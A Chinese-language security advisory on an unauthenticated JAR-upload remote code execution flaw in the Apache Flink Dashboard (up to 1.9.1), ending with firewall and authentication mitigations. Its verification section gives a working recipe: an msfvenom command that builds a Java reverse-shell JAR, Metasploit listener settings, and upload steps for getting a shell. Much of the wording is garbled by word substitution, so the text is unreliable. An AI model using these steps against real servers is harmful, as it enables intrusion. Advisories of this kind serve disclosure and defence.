Apache Flink 肆意Jar包上传导致远程代码执行缝隙安全公告
颁布功夫 2019-11-14缝隙编号和级别
CVE编号:暂无,危险级别:高危,CVSS分值:官方未评定
影响版本
至目前最新版本Apache Flink 1.9.1
缝隙概述
Apache Flink是由Apache软件基金会开发的开源流处置框架,其主题是用Java和Scala编写的散布式流数据流引擎。Flink以数据并行和流水线方式执行肆意流数据法式,Flink的流水线运行时系统能够执行批处置和流处置法式。此表,Flink的运行时自身也支持迭代算法的执行。
Apache Flink的数据流编程模型在有限和无限数据集上提供单次事务(event-at-a-time)处置。在基础层面,Flink法式由流和转换组成。
Apache Flink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。
Apache Flink Dashboard 中可上传恶意jar包并触发恶意代码执行。由于Apache Flink Dashboard 默认无需认证即可接见,因而该缝隙可用作获取shell。
缝隙验证
POC:https://twitter.com/jas502n/status/1193869996717297664。
测试环境:Apache Flink 1.9.1
1、上传msf天生的jar包,天生rce.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar
2、配置msf监听
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 8087
show options
run
在Submit New Job处上传rec.jar文件,点击submit
成功反弹shell,执行id可看到了局
建复建议
该缝隙官方尚未颁布安全更新以及解决步骤,请受影响的用户实时关注Apache Flink官网:https://flink.apache.org/downloads.html。
缓解措施:
建议设置防火墙战术,仅允许白名单ip接见 apache flink服务,并在Web代理(如apache httpd)中增长对该服务的digest认证。
参考链接
https://twitter.com/jas502n/status/1193869996717297664


京公网安备11010802024551号